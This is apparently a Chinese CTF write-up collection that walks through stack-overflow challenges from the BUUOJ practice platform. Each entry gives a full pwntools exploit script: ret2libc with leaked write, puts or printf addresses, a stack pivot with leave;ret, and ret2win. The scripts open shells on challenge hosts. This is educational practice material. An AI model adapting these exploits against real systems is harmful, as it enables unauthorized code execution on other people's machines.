铁人三项(第五赛区)_2018_rop
分析
checksec,32位程序,NX保护
放入32位的ida里,main函数这样
进入到function函数,buf有88字节,read可以读入100字节的数据,存在栈溢出
[外链图片转存中…(img-YAYZrmI8-1695114237612)]
看字符串有没有system和bin_sh,都没有,可能是return to libc
可以试试在libc里找system和bin_sh,肉眼可见左边有write和read函数,可以泄露write地址来得到libc版本
思路
泄露write或read地址得到libc版本
知道了libc版本后,可以计算出system地址和字符串“bin/sh"地址
返回地址覆盖位system(‘bin/sh’)
过程
通过elf
elf = ELF("./2018_rop")
找到main函数的地址,write的plt和got地址
main=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
read_got=elf.got['read']
第一个payload
payload = b"a"*(0x88 + 0x4)
payload +=p32(write_plt)
payload +=p32(main)
#构造write的三个参数
payload +=p32(1)
payload +=p32(write_got)
payload +=p32(4)
-
填充 0x88 + 4 个字节到返回地址
-
返回地址设置为write在plt表的地址,该函数的返回地址设为main函数的地址,执行完返回main函数
-
设置write函数的参数:如下图所示,参数分别为 1 write_got 4 ,写入四个字节
参数说明:
第一个参数 文件描述符fd
第二个参数 无类型的指针buf,可以存放要写的内容
第三个参数 写多少字节数
送入payload后会泄露wirte的真实地址write_addr
io.sendline(payload)
write_addr = u32(io.recv())
可以用泄露的write_addr得到libc版本
libc = LibcSearcher("write",write_addr)
偏移量
libc_base = write_addr - libc.dump('write')
函数真实地址 = 基址 + 偏移量
libc_sys = libc_base + libc.dump('system')#system地址
libc_binsh = libc_base + libc.dump('str_bin_sh')#bin_sh地址
第二个payload
payload = b"a"*(0x88 + 0x4) + p32(libc_sys) + p32(0) + p32(libc_binsh)
exp
from pwn import*
from LibcSearcher import*
elf = ELF("./2018_rop")
#io = process("./2018_rop")
io = remote("node4.buuoj.cn",28171)
main = elf.sym["main"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]
payload = b"a"*(0x88 + 0x4)
payload +=p32(write_plt)
payload +=p32(main)
#构造write的三个参数
payload +=p32(1)
payload +=p32(write_got)
payload +=p32(4)
io.sendline(payload)
write_addr = u32(io.recv())
print("write_addr:" + hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump('write')
libc_sys = libc_base + libc.dump('system')
libc_binsh = libc_base + libc.dump('str_bin_sh')
payload = b"a"*(0x88 + 0x4) + p32(libc_sys) + p32(0) + p32(libc_binsh)
io.sendline(payload)
io.interactive()
可能会出现多个libc版本,具体选哪一个不知道,我一个个试选的1,可以打通φ(* ̄0 ̄)
ciscn_2019_en_2
checksec,64位的程序,保护打开了NX
main函数如下,encrypt加密函数,如果字符串开头是”\0"可以绕过加密
gets函数存在栈溢出,覆盖0x50,所以绕过加密,payload = b’\0’+b’a’*(0x50-1+8)
f
没有看到system函数和binsh字符串,无法使用ret2text和ret2syscall
漏洞利用
由于没有可用的system函数,和bin/sh/字符串,ret2libc
构造第一个payload用于泄露已经调用的函数在程序中的地址,找到合适的libc版本
ROPgadget --binary ./ciscn_2019_en_2 'pop|ret' |gerp ret
from pwn import*
from LibcSearcher import*
io = process("./ciscn_2019_en_2")
elf = ELF("./ciscn_2019_en_2")
payload1
ROP链
payload = 覆盖的大小 + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
1)pop_rdi_addr可以用ROPgadget找到,0x400c83
2)puts_got_addr,将puts_got_addr指令作为pop的参数,放到寄存器rdi里
3)puts_plt_addr,打印puts函数的真实地址
注意:填充的数据应为有加密,encrypt函数,strlen()函数遇‘\0’截止
完整exp
from pwn import*
from LibcSearcher import *
io = process("./ciscn_2019_en_2")
elf=ELF('./ciscn_2019_en_2')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.sendlineafter('Input your choice!\n','1')
payload=b'\0' + b"a"*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
io.sendlineafter('Input your Plaintext to be encrypted\n',payload)
io.recvline()
io.recvline()
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
print ("puts_addr:" + hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts") #计算偏移
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
io.sendlineafter('choice!\n','1')
payload=b'\0' + b"a"*(0x50-1 + 8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(sys_addr)
io.sendlineafter('encrypted\n',payload)
io.interactive()
[外链图片转存中…(img-6Dt1qPTv-1695114237615)]
bjdctf_2020_babyrop
checksec一下,
堆栈随地址机化,栈不可执行
main函数
里面的vuln存在栈溢出
字符串看一下
没有发现system和bin/sh,有一个字符串"puts",比存在puts函数,可以泄露puts函数得到libc版本,再构造system(“/bin/sh”)
看ret
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",27835)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734
payload=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload)
puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump("puts")
system=libcbase+libc.dump("system")
str_bin_sh=libcbase+libc.dump("str_bin_sh")
payload=b"A"*(0x28)+p64(pop_rdi_ret)+p64(system)+p64(str_bin_sh)
p.recvuntil(b"story!\n")
p.sendline(payload)
p.interactive()
ciscn_2019_es_2
checksec一下,地址随机化,栈不可执行
拖到32位ida中,再光标指到main函数,按F5键看伪代码
看里面的vul函数,read可写0x30个字节,但s的缓冲区只有0x28个字节,存在栈溢出
[外链图片转存中…(img-oPdgq954-1695114237617)]
shitf + F12看字符串
发现有一个“each flag”,根据它找到hack,直接返回system(“echo flag”)
[外链图片转存中…(img-7slI1hQR-1695114237617)]但是system的参数不是==/bin/sh==,所以要改变参数为/bin/sh,但是system里的参数不是==/bin/sh==,因此,利用 read 函数也许可以覆盖栈上数据并写入 /bin/sh,使其执行 system 以getshell,但要直接写入会栈空间不够,但是栈上变量 s 位于 ebp-0x28,而 read 函数仅能读入0x30个字节,那么若想实施缓冲区溢出,只有0x08 = 0x30-0x28个字节供使用,不够,明显不够,怎么办,这里看看能否用栈迁移
确定是否用栈迁移
- 存在 leave ret 这类gadget指令***,如下图,存在0x080484b8 : leave ; ret****
- 存在可执行shellcode的内存区域,可以read自己读入/bin/sh
第一步: 确定劫持地址与偏移
设置断点在可在 vuln 函数中 0x80485fc 的 nop,在运行时输入“aaaa”进行定位
[外链图片转存中…(img-MnAV4JdM-1695114237618)]
第一次输入“aaaa”是正常输入,第二次输入“aaaa”定位esp
stack40
[外链图片转存中…(img-J6SI3gMx-1695114237618)]
由图可知,esp位于0xffffd120,是缓冲区开始的地方,写入了”aaaa“,ebp位于0xffffd148,是缓冲区结束的地方,esp-ebp=0xffffd120-0xffffd148 = -0x28,刚好是缓冲区的空间大小,而此时ebp存放的地址0xffffd158是old ebp的位置,可以知道偏移是0xffffd158-0xffffd120 = 0x38,这说明只要使用 printf 泄露出攻击时栈上 ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方。
第二步:构造ROP链
要完成栈迁移的攻击结构,就要覆盖原栈上ret为 leave rett的地址,本题中可覆盖为 0x080484b8;要将 esp劫持到 old ebp -0x38处,就要将原 ebp中的 old_ebp 覆盖为 old ebp -0x38,其中 old_ebp 可通过第一次 read & printf 泄露得到
第一次泄露 payload1,获得ebp
payload1 = b'A' * (0x27) + b'B'
p.send(payload1)
p.recvuntil("B")
ebp = u32(p.recv(4))
第二次第二次read利用leave_ret劫持地址
这里劫持到一开始s读入的地址即ebp-0x38
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'dddd'
payload2 += p32(ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(ebp - 0x38)
payload2 += p32(leave_ret)
p.sendline(payload2)
exp
from pwn import *
p = remote("node4.buuoj.cn", 28471)
#p = process("./ciscn_2019_es_2")
elf = ELF("./ciscn_2019_es_2")
system_addr =elf.sym["system"]
leave_ret = 0x080484b8
payload1 = b'A' * (0x27) + b'B'
p.send(payload1)
p.recvuntil("B")
ebp = u32(p.recv(4))
print(hex(ebp))
payload2 = b'aaaa'
payload2 += p32(system_addr)
payload2 += b'dddd'
payload2 += p32(ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')
payload2 += p32(ebp - 0x38)
payload2 += p32(leave_ret)
p.sendline(payload2)
p.interactive()
[外链图片转存中…(img-9DJ3JEfk-1695114237618)]
pwn2_sctf_2016
checksec一下,开了nx保护和部分RELRO
看程序的执行逻辑,读入2字节的数,输入字符,打印输入的字符
放到32位的IDA里,main函数调用了vuln函数
-
程序读入一个字符串并转化为带符号整形(signed int),这时,如果我们输入负数可以避开不能大于32的检查
-
在get_n函数中,读入长度被强制转换为unsigned int,此时输入负数,使得我们能够进行缓冲区溢出攻击
-
然后程序中存在printf的plt地址,我们用他去泄露libc基址来绕过nx
-
ROP链为p32(printf_plt) + p32(main) + p32(printf_got)
调用printf函数把got表中的函数真实地址打印出来保存
返回地址,调用完printf返回主要利用函数
打印got中地址
-
构造ROP链为p32(system) + p32(main) + p32(bin_sh)就能获得she
from pwn import *
from LibcSearcher import *
#io = process("./pwn2_sctf_2016")
io = remote("node4.buuoj.cn",27982)
elf = ELF('./pwn2_sctf_2016')
printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
main_addr = elf.sym["main"]
#io.recvuntil('How many bytes do you want me to read? ')
#io.sendline('-1')
io.sendlineafter("How many bytes do you want me to read?","-1")
io.recvuntil('\n')
#第一个payload泄露print基址
payload=b'a'*(0x2c+4)
payload+=p32(printf_plt)
payload+=p32(main_addr)
payload+=p32(printf_got)
io.sendline(payload)
io.recvuntil('\n')
printf_addr=u32(io.recv(4))
libc = LibcSearcher('printf', printf_addr)#libc版本
libc_base = printf_addr - libc.dump('printf')#计算偏移
system_addr = libc_base + libc.dump('system')#system真实地址
binsh_addr = libc_base + libc.dump('str_bin_sh')#/bin/sh真实地址
io.sendlineafter('?', '-1')
io.recvuntil('data!')
payload = b'a' * (0x2c + 4)
payload+= p32(system_addr)
payload+= p32(main_addr)
payload+= p32(binsh_addr)
io.sendline(payload)
io.interactive()
babyrop2
checksec一下,nx保护
放到64位的IDA里,main函数如下:
buf距离rbp0x20,但是read可以读入0x100,栈溢出漏洞,覆盖0x20 + 0x8个字节
shift + F12看字符串,没有system函数,没有/bin/sh字符串
程序思路
栈溢出漏洞
没有system函数
考虑用ret2libc
漏洞利用
首先根据泄露的read的地址找到libc的版本
找到system函数和/bin/sh字符串的真实地址,可以得到shell
注意事项
注意32位程序和64位程序传参的区别,64位程序要借用寄存器
flag不在当前目录,在/home/babyrop2/flag
下。
[外链图片转存中…(img-B7P8ep6d-1695114237621)]
rdi_addr = 0x400733
rsi_addr = 0x400731
我们要构造出printf(“%s”,read_got)这样的函数 ,所以我们要首先找到"%s"所在的位置,如图format_str = 0x400770
泄露libc基址
payload = b'a'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
b’a’*(0x20+8) 是覆盖的地址
p64(rdi_addr) + p64(format_str):rdi寄存器的地址 和第一个参数地址
p64(rsi_r15_addr) + p64(read_got) + p64(0):rsi寄存器地址,里面存放的是read@got地址和一个参数为0
覆盖返回地址位system(‘/bin/sh ’)
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
exp
from pwn import*
from LibcSearcher import*
elf = ELF("./babyrop2")
io = remote("node4.buuoj.cn",25945)
#io = process("./babyrop2")
rdi_addr = 0x400733
rsi_addr = 0x400731
format_str = 0x400770
main_addr = elf.sym["main"]
printf_plt = elf.plt["printf"]
read_got = elf.got["read"]
payload = b"a"*(0x20 +8)
payload += p64(rdi_addr)
payload +=p64(format_str)
payload += p64(rsi_addr)
payload += p64(read_got)
payload +=p64(0)
payload +=p64(printf_plt)
payload += p64(main_addr)
io.sendlineafter("name?",payload)
read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#read_addr = u64(io.recv())
libc = LibcSearcher("read",read_addr)
print("read_addr:" +hex(read_addr))
libc_base = read_addr - libc.dump("read")
system_addr = libc.dump("system") + libc_base
binsh = libc.dump("str_bin_sh") + libc_base
payload = b'a'*0x28+p64(rdi_addr)+p64(binsh)+p64(system_addr)
io.sendlineafter("name?",payload)
io.interactive()
jarvisoj_tell_me_something
[外链图片转存中…(img-q8HnToY5-1695114237622)]
拖到64位的IDA,main函数如下,一眼就看见v4存在栈溢出
shift + F12看字符串。没有system函数也没有bin/sh,看见了一个libc.so.6,以为是ret2libc
然后还有一个flag.text,根据它找到good_game,game_addr = 0x400620
所以直接覆盖v4的返回值为good_game的地址
payload = b"a"*0x88 + p64(game_addr)
这里没有 + 8是因为缓冲区没有把rbp压栈
exp
from pwn import*25592
io = remote("node4.buuoj.cn",25592)
game_addr = 0x400620
payload = b"a"*0x88 + p64(game_addr)
io.sendline(payload)
io.interactive()
jarvisoj_level3]
checksec 一下,nx保护
拖到32位ida,main函数如下,没有发现什么
调用了vulnerable_function,如下,返回read(0, &buf, 0x100u);
buf距离ebp0x88的距离,但可以往缓存区里读入0x100,
特殊字符串里有没有system函数和"“/bin/sh”
第一个payload泄露libc版本
exp
from pwn import*
from LibcSearcher import*
elf = ELF("./level3")
#io = process('./level3')
io = remote("node4.buuoj.cn",29746)
write_got = elf.got["write"]
write_plt = elf.plt["write"]
main = elf.sym['main']
payload = b'a'*(0x88 +4)+ p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr = u32(io.recv(4))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr -libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = b"a"*(0x88 + 4) + p32(system_addr) + p32(0) + p32(binsh)
io.sendline(payload)
io.interactive()
jarvisoj_level3_x64
保护
ida ,main
调用了vulnerable_function
字符串
ret2libc3
64位程序传参,用寄存器传参rdi,rsi,rdx,rcx,r8,r9
ROPgadget --binary ./level3_x64 |grep rdi
ROPgadget --binary ./level3_x64 |grep rsi
[外链图片转存中…(img-t8uuWWi0-1695114237627)]
r15寄存器填任意数
from pwn import*
from LibcSearcher import*
elf=ELF("./level3_x64")
#io=process("./level3_x64")
io=remote("node4.buuoj.cn",29364)
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main=elf.symbols["main"]
pop_rdi=0x04006b3
pop_rsi_r15=0x04006b1
payload=b"a"*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
io.sendlineafter("Input:\n",payload)
write_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))#切片
print(hex(write_addr))
libc=LibcSearcher("write",write_addr)
libc_base=write_addr-libc.dump("write")
sys_addr=libc_base+libc.dump("system")
sh_addr=libc_base+libc.dump("str_bin_sh")
payload=b"a"*(0x80+8)+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
io.sendlineafter("Input:\n",payload)
io.interactive()
wustctf2020_getshell
checksec
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}
int init()
{
alarm(0x20u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
return puts(
" __ ___ ______ ___ \n"
" / |/ /__ /_ __/__< /_ __\n"
" / /|_/ / _ `// / / __/ /\\ \\ /\n"
"/_/ /_/\\_,_//_/ /_/ /_//_\\_\\ \n");
}
ssize_t vulnerable()
{
char buf; // [esp+0h] [ebp-18h]
return read(0, &buf, 0x20u);
}
mian函数调用了init和vulnerable,其中vulnerable函数里可以看到buf距离ebp0x18,但可以往缓冲区里读0x20个字节
然后看字符串
直接有后门函数shell 0x804851b
exp
from pwn import*
#io = process("./wustctf2020_getshell")
io = remote("node4.buuoj.cn",27857)
elf = ELF("./wustctf2020_getshell")
payload = b"a"*(0x18 + 4) + p32(elf.sym["shell"])
io.sendline(payload)
io.interactive()